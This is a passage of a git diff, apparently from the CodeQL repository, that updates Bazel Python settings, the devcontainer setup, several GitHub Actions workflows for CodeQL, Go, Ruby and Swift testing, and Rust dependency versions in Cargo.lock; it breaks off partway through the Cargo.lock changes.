diff --git a/.bazelrc b/.bazelrc
index 71c954c2b0b7..449345bfb629 100644
--- a/.bazelrc
+++ b/.bazelrc
@@ -37,5 +37,6 @@ build --java_language_version=17
 build --tool_java_language_version=17
 build --tool_java_runtime_version=remotejdk_17
 build --java_runtime_version=remotejdk_17
+build --@rules_python//python/config_settings:python_version=3.12
 
 try-import %workspace%/local.bazelrc
diff --git a/.bazelrc.internal b/.bazelrc.internal
index f7718959c9de..245cd98fbd84 100644
--- a/.bazelrc.internal
+++ b/.bazelrc.internal
@@ -8,3 +8,5 @@ common --registry=https://bcr.bazel.build
 # its implementation packages without providing any code itself.
 # We either can depend on internal implementation details, or turn of strict deps.
 common --@rules_dotnet//dotnet/settings:strict_deps=false
+
+build --@rules_python//python/config_settings:python_version=3.12
diff --git a/.devcontainer/Dockerfile.codespaces b/.devcontainer/Dockerfile.codespaces
new file mode 100644
index 000000000000..89a80f6acd5e
--- /dev/null
+++ b/.devcontainer/Dockerfile.codespaces
@@ -0,0 +1,7 @@
+FROM mcr.microsoft.com/devcontainers/base:ubuntu-24.04
+
+USER root
+# Install needed packages according to https://codeql.github.com/docs/codeql-overview/system-requirements/
+# most come from the base image, but we need to install some additional ones
+RUN DEBIAN_FRONTEND=noninteractive apt update && apt install -y sudo man-db python3.12 npm unminimize
+RUN yes | unminimize
diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
index a51284e3a1f6..61595e152b7f 100644
--- a/.devcontainer/devcontainer.json
+++ b/.devcontainer/devcontainer.json
@@ -1,5 +1,4 @@
 {
-  "image": "mcr.microsoft.com/devcontainers/base:ubuntu-24.04",
   "extensions": [
     "rust-lang.rust-analyzer",
     "bungcip.better-toml",
@@ -8,6 +7,10 @@
     "ms-vscode.test-adapter-converter",
     "slevesque.vscode-zipexplorer"
   ],
+  "build": {
+    // Path is relative to the devcontainer.json file.
+    "dockerfile": "Dockerfile.codespaces"
+  },
   "settings": {
     "files.watcherExclude": {
       "**/target/**": true
diff --git a/.github/codeql/codeql-config.yml b/.github/codeql/codeql-config.yml
index 9740cf65147e..652e19dd4d00 100644
--- a/.github/codeql/codeql-config.yml
+++ b/.github/codeql/codeql-config.yml
@@ -4,9 +4,13 @@ queries:
   - uses: security-and-quality
 
 paths-ignore:
+  - '/actions/ql/test'
   - '/cpp/'
   - '/java/'
   - '/python/'
   - '/javascript/ql/test'
+  - '/javascript/ql/integration-tests'
   - '/javascript/extractor/tests'
+  - '/javascript/extractor/parser-tests'
+  - '/javascript/ql/src/'
   - '/rust/ql'
diff --git a/.github/workflows/build-ripunzip.yml b/.github/workflows/build-ripunzip.yml
index e7218a40e664..bd05313187cc 100644
--- a/.github/workflows/build-ripunzip.yml
+++ b/.github/workflows/build-ripunzip.yml
@@ -17,7 +17,7 @@ jobs:
     strategy:
       fail-fast: false
       matrix:
-        os: [ubuntu-20.04, macos-13, windows-2019]
+        os: [ubuntu-22.04, macos-13, windows-2019]
     runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
diff --git a/.github/workflows/codegen.yml b/.github/workflows/codegen.yml
new file mode 100644
index 000000000000..24422eba10f8
--- /dev/null
+++ b/.github/workflows/codegen.yml
@@ -0,0 +1,34 @@
+name: Codegen
+
+on:
+  pull_request:
+    paths:
+      - "misc/bazel/**"
+      - "misc/codegen/**"
+      - "*.bazel*"
+      - .github/workflows/codegen.yml
+      - .pre-commit-config.yaml
+    branches:
+      - main
+      - rc/*
+      - codeql-cli-*
+
+permissions:
+  contents: read
+
+jobs:
+  codegen:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v4
+        with:
+          python-version-file: 'misc/codegen/.python-version'
+      - uses: pre-commit/action@646c83fcd040023954eafda54b4db0192ce70507
+        name: Check that python code is properly formatted
+        with:
+          extra_args: autopep8 --all-files
+      - name: Run codegen tests
+        shell: bash
+        run: |
+          bazel test //misc/codegen/...
diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
index d571d961e677..ba384245e0eb 100644
--- a/.github/workflows/codeql-analysis.yml
+++ b/.github/workflows/codeql-analysis.yml
@@ -18,6 +18,10 @@ on:
 
 jobs:
   CodeQL-Build:
+    strategy:
+      fail-fast: false
+      matrix:
+        language: ['actions', 'csharp']
 
     runs-on: ubuntu-latest
 
@@ -38,9 +42,8 @@ jobs:
     # Initializes the CodeQL tools for scanning.
     - name: Initialize CodeQL
       uses: github/codeql-action/init@main
-      # Override language selection by uncommenting this and choosing your languages
       with:
-        languages: csharp
+        languages: ${{ matrix.language }}
         config-file: ./.github/codeql/codeql-config.yml
 
     # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
diff --git a/.github/workflows/go-tests-rtjo.yml b/.github/workflows/go-tests-rtjo.yml
new file mode 100644
index 000000000000..43721fa1011a
--- /dev/null
+++ b/.github/workflows/go-tests-rtjo.yml
@@ -0,0 +1,22 @@
+name: "Go: Run RTJO Tests"
+on:
+  pull_request:
+    types:
+      - labeled
+
+permissions:
+  contents: read
+
+jobs:
+  test-linux:
+    if: "github.repository_owner == 'github' && github.event.label.name == 'Run: RTJO Language Tests'"
+    name: RTJO Test Linux (Ubuntu)
+    runs-on: ubuntu-latest-xl
+    steps:
+      - name: Check out code
+        uses: actions/checkout@v4
+      - name: Run tests
+        uses: ./go/actions/test
+        with:
+          run-code-checks: true
+          dynamic-join-order-mode: all
diff --git a/.github/workflows/ruby-qltest-rtjo.yml b/.github/workflows/ruby-qltest-rtjo.yml
new file mode 100644
index 000000000000..d7d1724cd4b6
--- /dev/null
+++ b/.github/workflows/ruby-qltest-rtjo.yml
@@ -0,0 +1,40 @@
+name: "Ruby: Run RTJO Language Tests"
+
+on:
+  pull_request:
+    types:
+      - opened
+      - synchronize
+      - reopened
+      - labeled
+
+env:
+  CARGO_TERM_COLOR: always
+
+defaults:
+  run:
+    working-directory: ruby
+
+permissions:
+  contents: read
+
+jobs:
+  qltest-rtjo:
+    if: "github.repository_owner == 'github' && github.event.label.name == 'Run: RTJO Language Tests'"
+    runs-on: ubuntu-latest-xl
+    strategy:
+      fail-fast: false
+    steps:
+      - uses: actions/checkout@v4
+      - uses: ./.github/actions/fetch-codeql
+      - uses: ./ruby/actions/create-extractor-pack
+      - name: Cache compilation cache
+        id: query-cache
+        uses: ./.github/actions/cache-query-compilation
+        with:
+          key: ruby-qltest
+      - name: Run QL tests
+        run: |
+          codeql test run --dynamic-join-order-mode=all --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}"
+        env:
+          GITHUB_TOKEN: ${{ github.token }}
diff --git a/.github/workflows/swift.yml b/.github/workflows/swift.yml
index 23a97af6bafb..4af46d302ac6 100644
--- a/.github/workflows/swift.yml
+++ b/.github/workflows/swift.yml
@@ -18,45 +18,39 @@ on:
       - main
       - rc/*
       - codeql-cli-*
-  push:
-    paths:
-      - "swift/**"
-      - "misc/bazel/**"
-      - "misc/codegen/**"
-      - "shared/**"
-      - "*.bazel*"
-      - .github/workflows/swift.yml
-      - .github/actions/**
-      - codeql-workspace.yml
-      - .pre-commit-config.yaml
-      - "!**/*.md"
-      - "!**/*.qhelp"
-    branches:
-      - main
-      - rc/*
-      - codeql-cli-*
 
 permissions:
   contents: read
 
+defaults:
+  run:
+    shell: bash
+    working-directory: swift
+
 jobs:
-  # not using a matrix as you cannot depend on a specific job in a matrix, and we want to start linux checks
-  # without waiting for the macOS build
-  build-and-test-macos:
+  build-and-test:
     if: github.repository_owner == 'github'
-    runs-on: macos-13-xlarge
-    steps:
-      - uses: actions/checkout@v4
-      - uses: ./swift/actions/build-and-test
-  qltests-macos:
-    if: ${{ github.repository_owner == 'github' && github.event_name == 'pull_request' }}
-    needs: build-and-test-macos
-    runs-on: macos-13-xlarge
+    strategy:
+      matrix:
+        runner: [ubuntu-latest, macos-13-xlarge]
+      fail-fast: false
+    runs-on: ${{ matrix.runner }}
     steps:
       - uses: actions/checkout@v4
-      - uses: ./swift/actions/run-ql-tests
+      - name: Setup (Linux)
+        if: runner.os == 'Linux'
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y uuid-dev zlib1g-dev
+      - name: Build Swift extractor
+        shell: bash
+        run: |
+          bazel run :install
+      - name: Run Swift tests
+        shell: bash
+        run: |
+          bazel test ... --test_tag_filters=-override --test_output=errors
   clang-format:
-    if : ${{ github.event_name == 'pull_request' }}
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
@@ -65,18 +59,9 @@ jobs:
         with:
           extra_args: clang-format --all-files
   codegen:
-    if : ${{ github.event_name == 'pull_request' }}
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
-      - uses: bazelbuild/setup-bazelisk@v2
-      - uses: actions/setup-python@v4
-        with:
-          python-version-file: 'swift/.python-version'
-      - uses: pre-commit/action@646c83fcd040023954eafda54b4db0192ce70507
-        name: Check that python code is properly formatted
-        with:
-          extra_args: autopep8 --all-files
       - uses: ./.github/actions/fetch-codeql
       - uses: pre-commit/action@646c83fcd040023954eafda54b4db0192ce70507
         name: Check that QL generated code was checked in
@@ -84,22 +69,14 @@ jobs:
           extra_args: swift-codegen --all-files
       - name: Generate C++ files
         run: |
-          bazel run //swift/codegen:codegen -- --generate=trap,cpp --cpp-output=$PWD/generated-cpp-files
+          bazel run codegen -- --generate=trap,cpp --cpp-output=$PWD/generated-cpp-files
       - uses: actions/upload-artifact@v4
         with:
           name: swift-generated-cpp-files
           path: generated-cpp-files/**
-  database-upgrade-scripts:
-    if : ${{ github.event_name == 'pull_request' }}
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: ./.github/actions/fetch-codeql
-      - uses: ./swift/actions/database-upgrade-scripts
   check-no-override:
-    if : github.event_name == 'pull_request'
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
-      - shell: bash
-        run: bazel test //swift/... --test_tag_filters=override --test_output=errors
+      - name: Check that no override is present in load.bzl
+        run: bazel test ... --test_tag_filters=override --test_output=errors
diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index c0bd4abd0d02..42333e91289e 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -72,7 +72,7 @@ repos:
 
       - id: rust-codegen
         name: Run Rust checked in code generation
-        files: ^misc/codegen/|^rust/(prefix\.dbscheme|schema/|codegen/|.*/generated/|ql/lib/(rust\.dbscheme$|codeql/rust/elements)|\.generated.list)
+        files: ^misc/codegen/|^rust/(prefix\.dbscheme|schema/|codegen/|.*/generated/|ql/lib/(rust\.dbscheme$|codeql/rust/elements)|\.generated.list|ast-generator/)
         language: system
         entry: bazel run //rust/codegen -- --quiet
         pass_filenames: false
diff --git a/.vscode/tasks.json b/.vscode/tasks.json
index 5e4b9397d26d..5786439f38fb 100644
--- a/.vscode/tasks.json
+++ b/.vscode/tasks.json
@@ -50,6 +50,11 @@
                 "${input:name}",
                 "${input:categoryQuery}"
             ],
+            "options": {
+                "env": {
+                    "EDITOR": "code -r",
+                }
+            },
             "presentation": {
                 "reveal": "never",
                 "close": true
@@ -67,6 +72,11 @@
                 "${input:name}",
                 "${input:categoryLibrary}"
             ],
+            "options": {
+                "env": {
+                    "EDITOR": "code -r"
+                }
+            },
             "presentation": {
                 "reveal": "never",
                 "close": true
diff --git a/Cargo.lock b/Cargo.lock
index 48aa23d25ea3..7719e26ffd24 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -1,6 +1,6 @@
 # This file is automatically @generated by Cargo.
 # It is not intended for manual editing.
-version = 3
+version = 4
 
 [[package]]
 name = "adler2"
@@ -18,13 +18,10 @@ dependencies = [
 ]
 
 [[package]]
-name = "always-assert"
-version = "0.2.0"
+name = "allocator-api2"
+version = "0.2.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1078fa1ce1e34b1872d8611ad921196d76bdd7027e949fbe31231abde201892"
-dependencies = [
- "tracing",
-]
+checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923"
 
 [[package]]
 name = "android-tzdata"
@@ -82,19 +79,20 @@ dependencies = [
 
 [[package]]
 name = "anstyle-wincon"
-version = "3.0.6"
+version = "3.0.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2109dbce0e72be3ec00bed26e6a7479ca384ad226efdd66db8fa2e3a38c83125"
+checksum = "ca3534e77181a9cc07539ad51f2141fe32f6c3ffd4df76db8ad92346b003ae4e"
 dependencies = [
  "anstyle",
+ "once_cell",
  "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "anyhow"
-version = "1.0.95"
+version = "1.0.97"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34ac096ce696dc2fcabef30516bb13c0a68a11d30131d3df6f04711467681b04"
+checksum = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f"
 
 [[package]]
 name = "argfile"
@@ -156,9 +154,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
 
 [[package]]
 name = "bitflags"
-version = "2.7.0"
+version = "2.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1be3f42a67d6d345ecd59f675f3f012d6974981560836e938c22b424b85ce1be"
+checksum = "8f68f53c83ab957f72c32642f3868eec03eb974d1fb82e453128456482613d36"
 
 [[package]]
 name = "borsh"
@@ -169,6 +167,15 @@ dependencies = [
  "cfg_aliases",
 ]
 
+[[package]]
+name = "boxcar"
+version = "0.2.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6740c6e2fc6360fa57c35214c7493826aee95993926092606f27c983b40837be"
+dependencies = [
+ "loom",
+]
+
 [[package]]
 name = "bstr"
 version = "1.11.3"
@@ -252,9 +259,9 @@ checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
 
 [[package]]
 name = "chalk-derive"
-version = "0.98.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9426c8fd0fe61c3da880b801d3b510524df17843a8f9ec1f5b9cec24fb7412df"
+checksum = "ab2d131019373f0d0d1f2af0abd4f719739f6583c1b33965112455f643a910af"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -264,19 +271,19 @@ dependencies = [
 
 [[package]]
 name = "chalk-ir"
-version = "0.98.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5f2eb1cd6054da221bd1ac0197fb2fe5e2caf3dcb93619398fc1433f8f09093"
+checksum = "4f114996bda14c0213f014a4ef31a7867dcf5f539a3900477fc6b20138e7a17b"
 dependencies = [
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
  "chalk-derive",
 ]
 
 [[package]]
 name = "chalk-recursive"
-version = "0.98.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "129dc03458f71cfb9c3cd621c9c68166a94e87b85b16ccd29af015d7ff9a1c61"
+checksum = "551e956e031c09057c7b21f17d48d91de99c9b6b6e34bceaf5e7202d71021268"
 dependencies = [
  "chalk-derive",
  "chalk-ir",
@@ -287,9 +294,9 @@ dependencies = [
 
 [[package]]
 name = "chalk-solve"
-version = "0.98.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7e8a8c1e928f98cdf227b868416ef21dcd8cc3c61b347576d783713444d41c8"
+checksum = "cd7ca50181156ce649efe8e5dd00580f573651554e4dcd11afa4e2ac93f53324"
 dependencies = [
  "chalk-derive",
  "chalk-ir",
@@ -303,9 +310,9 @@ dependencies = [
 
 [[package]]
 name = "chrono"
-version = "0.4.39"
+version = "0.4.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e36cc9d416881d2e24f9a963be5fb1cd90966419ac844274161d10488b3e825"
+checksum = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c"
 dependencies = [
  "android-tzdata",
  "iana-time-zone",
@@ -313,14 +320,14 @@ dependencies = [
  "num-traits",
  "serde",
  "wasm-bindgen",
- "windows-targets 0.52.6",
+ "windows-link",
 ]
 
 [[package]]
 name = "clap"
-version = "4.5.26"
+version = "4.5.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8eb5e908ef3a6efbe1ed62520fb7287959888c88485abe072543190ecc66783"
+checksum = "6088f3ae8c3608d19260cd7445411865a485688711b78b5be70d78cd96136f83"
 dependencies = [
  "clap_builder",
  "clap_derive",
@@ -328,9 +335,9 @@ dependencies = [
 
 [[package]]
 name = "clap_builder"
-version = "4.5.26"
+version = "4.5.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96b01801b5fc6a0a232407abc821660c9c6d25a1cafc0d4f85f29fb8d9afc121"
+checksum = "22a7ef7f676155edfb82daa97f99441f3ebf4a58d5e32f295a56259f1b6facc8"
 dependencies = [
  "anstream",
  "anstyle",
@@ -340,11 +347,11 @@ dependencies = [
 
 [[package]]
 name = "clap_derive"
-version = "4.5.24"
+version = "4.5.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "54b755194d6389280185988721fffba69495eed5ee9feeee9a599b53db80318c"
+checksum = "09176aae279615badda0765c0c0b3f6ed53f4709118af73cf4655d85d1530cd7"
 dependencies = [
- "heck 0.5.0",
+ "heck",
  "proc-macro2",
  "quote",
  "syn",
@@ -408,6 +415,7 @@ version = "0.1.0"
 dependencies = [
  "anyhow",
  "argfile",
+ "chalk-ir",
  "chrono",
  "clap",
  "codeql-extractor",
@@ -421,6 +429,7 @@ dependencies = [
  "ra_ap_hir",
  "ra_ap_hir_def",
  "ra_ap_hir_expand",
+ "ra_ap_hir_ty",
  "ra_ap_ide_db",
  "ra_ap_intern",
  "ra_ap_load-cargo",
@@ -502,6 +511,15 @@ dependencies = [
  "crossbeam-utils",
 ]
 
+[[package]]
+name = "crossbeam-queue"
+version = "0.3.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115"
+dependencies = [
+ "crossbeam-utils",
+]
+
 [[package]]
 name = "crossbeam-utils"
 version = "0.8.21"
@@ -556,6 +574,20 @@ dependencies = [
  "parking_lot_core",
 ]
 
+[[package]]
+name = "dashmap"
+version = "6.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf"
+dependencies = [
+ "cfg-if",
+ "crossbeam-utils",
+ "hashbrown 0.14.5",
+ "lock_api",
+ "once_cell",
+ "parking_lot_core",
+]
+
 [[package]]
 name = "deranged"
 version = "0.3.11"
@@ -580,9 +612,9 @@ checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813"
 
 [[package]]
 name = "either"
-version = "1.13.0"
+version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
 
 [[package]]
 name = "ena"
@@ -590,7 +622,7 @@ version = "0.14.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3d248bdd43ce613d87415282f69b9bb99d947d290b10962dd6c56233312c2ad5"
 dependencies = [
- "log 0.4.22",
+ "log 0.4.25",
 ]
 
 [[package]]
@@ -697,9 +729,9 @@ checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80"
 
 [[package]]
 name = "flate2"
-version = "1.0.35"
+version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c"
+checksum = "11faaf5a5236997af9848be0bef4db95824b1d534ebc64d0f0c6cf3e67bd38dc"
 dependencies = [
  "crc32fast",
  "miniz_oxide",
@@ -711,6 +743,12 @@ version = "1.0.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
 
+[[package]]
+name = "foldhash"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
+
 [[package]]
 name = "fs-err"
 version = "2.11.0"
@@ -735,15 +773,29 @@ version = "0.4.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7ab85b9b05e3978cc9a9cf8fea7f01b494e1a09ed3037e16ba39edc7a29eb61a"
 
+[[package]]
+name = "generator"
+version = "0.8.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cc6bd114ceda131d3b1d665eba35788690ad37f5916457286b32ab6fd3c438dd"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "log 0.4.25",
+ "rustversion",
+ "windows",
+]
+
 [[package]]
 name = "getrandom"
-version = "0.2.15"
+version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
+checksum = "43a49c392881ce6d5c3b8cb70f98717b7c07aabbdff06687b9030dbfbe2725f8"
 dependencies = [
  "cfg-if",
  "libc",
- "wasi",
+ "wasi 0.13.3+wasi-0.2.2",
+ "windows-targets 0.52.6",
 ]
 
 [[package]]
@@ -760,7 +812,7 @@ checksum = "15f1ce686646e7f1e19bf7d5533fe443a45dbfb990e00629110797578b42fb19"
 dependencies = [
  "aho-corasick",
  "bstr",
- "log 0.4.22",
+ "log 0.4.25",
  "regex-automata 0.4.9",
  "regex-syntax 0.8.5",
 ]
@@ -782,12 +834,20 @@ name = "hashbrown"
 version = "0.15.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
+dependencies = [
+ "allocator-api2",
+ "equivalent",
+ "foldhash",
+]
 
 [[package]]
-name = "heck"
-version = "0.4.1"
+name = "hashlink"
+version = "0.10.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+checksum = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1"
+dependencies = [
+ "hashbrown 0.15.2",
+]
 
 [[package]]
 name = "heck"
@@ -827,7 +887,7 @@ dependencies = [
  "iana-time-zone-haiku",
  "js-sys",
  "wasm-bindgen",
- "windows-core",
+ "windows-core 0.52.0",
 ]
 
 [[package]]
@@ -875,11 +935,11 @@ checksum = "c8fae54786f62fb2918dcfae3d568594e50eb9b5c25bf04371af6fe7516452fb"
 
 [[package]]
 name = "inotify"
-version = "0.9.6"
+version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8069d3ec154eb856955c1c0fbffefbf5f3c40a104ec912d4797314c1801abff"
+checksum = "f37dccff2791ab604f9babef0ba14fbe0be30bd368dc541e2b08d07c8aa908f3"
 dependencies = [
- "bitflags 1.3.2",
+ "bitflags 2.8.0",
  "inotify-sys",
  "libc",
 ]
@@ -983,7 +1043,7 @@ version = "0.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d"
 dependencies = [
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
  "libc",
  "redox_syscall",
 ]
@@ -1014,14 +1074,27 @@ version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e19e8d5c34a3e0e2223db8e060f9e8264aeeb5c5fc64a4ee9965c062211c024b"
 dependencies = [
- "log 0.4.22",
+ "log 0.4.25",
 ]
 
 [[package]]
 name = "log"
-version = "0.4.22"
+version = "0.4.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
+checksum = "04cbf5b083de1c7e0222a7a51dbfdba1cbe1c6ab0b15e29fff3f6c077fd9cd9f"
+
+[[package]]
+name = "loom"
+version = "0.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "419e0dc8046cb947daa77eb95ae174acfbddb7673b4151f56d1eed8e93fbfaca"
+dependencies = [
+ "cfg-if",
+ "generator",
+ "scoped-tls",
+ "tracing",
+ "tracing-subscriber",
+]
 
 [[package]]
 name = "lz4_flex"
@@ -1055,23 +1128,23 @@ dependencies = [
 
 [[package]]
 name = "miniz_oxide"
-version = "0.8.2"
+version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ffbe83022cedc1d264172192511ae958937694cd57ce297164951b8b3568394"
+checksum = "8e3e04debbb59698c15bacbb6d93584a8c0ca9cc3213cb423d31f760d8843ce5"
 dependencies = [
  "adler2",
 ]
 
 [[package]]
 name = "mio"
-version = "0.8.11"
+version = "1.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
+checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd"
 dependencies = [
  "libc",
- "log 0.4.22",
- "wasi",
- "windows-sys 0.48.0",
+ "log 0.4.25",
+ "wasi 0.11.0+wasi-snapshot-preview1",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -1101,23 +1174,29 @@ checksum = "2bf50223579dc7cdcfb3bfcacf7069ff68243f8c363f62ffa99cf000a6b9c451"
 
 [[package]]
 name = "notify"
-version = "6.1.1"
+version = "8.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6205bd8bb1e454ad2e27422015fb5e4f2bcc7e08fa8f27058670d208324a4d2d"
+checksum = "2fee8403b3d66ac7b26aee6e40a897d85dc5ce26f44da36b8b73e987cc52e943"
 dependencies = [
- "bitflags 2.7.0",
- "crossbeam-channel",
+ "bitflags 2.8.0",
  "filetime",
  "fsevent-sys",
  "inotify",
  "kqueue",
  "libc",
- "log 0.4.22",
+ "log 0.4.25",
  "mio",
+ "notify-types",
  "walkdir",
- "windows-sys 0.48.0",
+ "windows-sys 0.59.0",
 ]
 
+[[package]]
+name = "notify-types"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e0826a989adedc2a244799e823aece04662b66609d96af8dff7ac6df9a8925d"
+
 [[package]]
 name = "nu-ansi-term"
 version = "0.46.0"
@@ -1155,9 +1234,9 @@ dependencies = [
 
 [[package]]
 name = "once_cell"
-version = "1.20.2"
+version = "1.20.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775"
+checksum = "945462a4b81e43c4e3ba96bd7b49d834c6f61198356aa858733bc4acf3cbe62e"
 
 [[package]]
 name = "oorandom"
@@ -1261,6 +1340,12 @@ version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
 
+[[package]]
+name = "portable-atomic"
+version = "1.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
+
 [[package]]
 name = "powerfmt"
 version = "0.2.0"
@@ -1273,14 +1358,14 @@ version = "0.2.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04"
 dependencies = [
- "zerocopy",
+ "zerocopy 0.7.35",
 ]
 
 [[package]]
 name = "proc-macro2"
-version = "1.0.93"
+version = "1.0.94"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60946a68e5f9d28b0dc1c21bb8a97ee7d018a8b322fa57838ba31cc878e22d99"
+checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84"
 dependencies = [
  "unicode-ident",
 ]
@@ -1300,29 +1385,39 @@ dependencies = [
 
 [[package]]
 name = "quote"
-version = "1.0.38"
+version = "1.0.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
 dependencies = [
  "proc-macro2",
 ]
 
 [[package]]
 name = "ra-ap-rustc_abi"
-version = "0.87.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28b782af0a7a8df16ddf43cd70da9f17bc3b1ce712c9e4992b6edb16f5f53632"
+checksum = "f1651b0f7e8c3eb7c27a88f39d277e69c32bfe58e3be174d286c1a24d6a7a4d8"
 dependencies = [
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
+ "ra-ap-rustc_hashes",
  "ra-ap-rustc_index",
  "tracing",
 ]
 
+[[package]]
+name = "ra-ap-rustc_hashes"
+version = "0.100.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2bcd85e93dc0ea850bcfe7957a115957df799ccbc9eea488bdee5ec6780d212b"
+dependencies = [
+ "rustc-stable-hash",
+]
+
